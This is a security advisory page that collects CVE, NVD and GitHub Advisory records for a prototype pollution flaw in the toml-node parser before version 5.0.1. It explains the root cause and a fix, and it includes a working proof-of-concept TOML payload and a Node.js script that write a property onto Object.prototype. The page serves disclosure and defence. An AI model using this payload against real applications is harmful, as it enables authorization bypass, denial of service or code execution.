toml-node: Prototype pollution: parsing a TOML document can write to Object.prototype

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toml-node is a TOML parser for Node.js and the browser. Prior to 5.0.1, toml.parse() can write attacker-controlled properties to Object.prototype because quoteDottedString() in lib/compiler.js produces the same bookkeeping string for distinct quoted key paths, allowing addTableArray() to clear another key's guard. The assign() path then descends through an unowned Date value without applying the owned-container check and can reach the prototype chain. Objects created elsewhere in the process can inherit the injected property. This issue is fixed in version 5.0.1.

Source published

21 Oct 2026 20:28:36 UTC

Source modified

21 Oct 2026 20:28:36 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

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CVSS 4.0 · 8.8 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N

toml-node is a TOML parser for Node.js and the browser. Prior to 5.0.1, toml.parse() can write attacker-controlled properties to Object.prototype because quoteDottedString() in lib/compiler.js produces the same bookkeeping string for distinct quoted key paths, allowing addTableArray() to clear another key's guard. The assign() path then descends through an unowned Date value without applying the owned-container check and can reach the prototype chain. Objects created elsewhere in the process can inherit the injected property. This issue is fixed in version 5.0.1.

Source published

21 Oct 2026 21:17:56 UTC

Source modified

22 Oct 2026 16:48:25 UTC

Observed here

25 Oct 2026 05:17:18 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 8.8 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

### Summary CVE-2026-63376 described prototype pollution through __proto__ key-path desynchronization and was fixed in 4.1.2 by rewriting the path bookkeeping and adding an ownedContainers WeakSet. The desynchronization is still reachable, spelled with a quote character instead of a dot, and the owned-container check is not applied on the path that matters. A four-line TOML document parsed with toml.parse() writes a property onto Object.prototype, where it is visible to every object in the process — including objects produced by unrelated libraries. ### Details Three gaps compose. All line numbers are `lib/compiler.js` in 5.0.0. **1. The path-key encoding is ambiguous.** `quoteDottedString()` quotes a segment only when it contains a `.`, and never escapes a `"` inside the segment: ```js 287: function quoteDottedString(str) { 288: if (str.indexOf(".") > -1) { 289: return "\"" + str + "\""; 290: } else { 291: return str; 292: } 293: } ``` So the key path `['x.y']` and the key path `['"x', 'y"']` both render as the string `"x.y"`. This is the same desynchronization CVE-2026-63376 named, with a quote in place of the dot. **2. A table-array header can clear another key's guard.** `addTableArray()` walks `assignedPaths` / `valueAssignments` with `isSameOrSubPath()` over those ambiguous strings, so a header whose rendered path collides with an unrelated key deletes that key's entry. **3. The descent in `assign()` has no owned-container check.** `deepRef()` applies `isOwnedContainer()` only to intermediate segments (`lib/compiler.js:265`, `:273`) and returns the final container unchecked. `assign()` then walks it with only a shape test: ```js 93: target = target[k]; ... 103: target[lastKey] = reduced; ``` A TOML datetime is a `Date`. It satisfies `typeof target[k] === "object"` and is not an array, so the walk descends into it — and a `Date` has a live prototype chain to `Object.prototype`. Putting the three together, a document can make the current table a `Date` and then walk `__proto__.__proto__` to `Object.prototype`. ```bash mkdir poc && cd poc && npm init -y >/dev/null && npm install [email protected] ``` ```toml # poc.toml "b.c" = 1979-05-27T07:32:00Z [['"b']] ["b.c"] __proto__.__proto__.polluted = "yes" ``` Line 1 defines a key whose rendered path is `"b.c"` and whose value is a `Date`. Line 2 is a table-array header whose rendered path collides with it, clearing its guard. Line 3 re-enters that key, so the current table is now the `Date`. Line 4 walks `Date` → `Date.prototype` → `Object.prototype`. ```js // poc.js const toml = require('toml'); const fs = require('fs'); console.log('before:', JSON.stringify(({}).polluted)); toml.parse(fs.readFileSync('poc.toml', 'utf8')); console.log('after: ', JSON.stringify(({}).polluted)); console.log('Object.prototype.hasOwnProperty("polluted") =', Object.prototype.hasOwnProperty('polluted')); console.log('JSON.parse("{}").polluted =', JSON.stringify(JSON.parse('{}').polluted)); ``` ``` $ node poc.js before: undefined after: "yes" Object.prototype.hasOwnProperty("polluted") = true JSON.parse("{}").polluted = "yes" ``` The payload sets a single harmless marker property. The last line shows the property is visible on an object this code never touched. A useful control: the same document without line 2 (the guard-clearing header) is correctly rejected on 4.1.2 and later, which confirms the clearing step is what is load-bearing. ### Impact Any application that parses a TOML document from an untrusted source is affected — a configuration file uploaded by a user, a manifest from a third-party package or repository, a document posted to an API. Prototype pollution of this kind commonly escalates to authentication or authorization bypass, denial of service, and in applications with a suitable gadget, remote code execution, because every object in the process inherits the injected property. Suggested fix: in `assign()`, apply the same check the intermediate descent already uses — after `target = target[k]`, reject when `!isOwnedContainer(target)`. Equivalently, apply `isOwnedContainer` to the value `deepRef()` returns. Separately, `quoteDottedString()` should escape `"` inside a segment so that distinct key paths cannot render to the same string.

Source published

22 Oct 2026 16:39:55 UTC

Source modified

26 Oct 2026 14:45:05 UTC

Observed here

26 Oct 2026 15:35:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N

Publisher rating · HIGH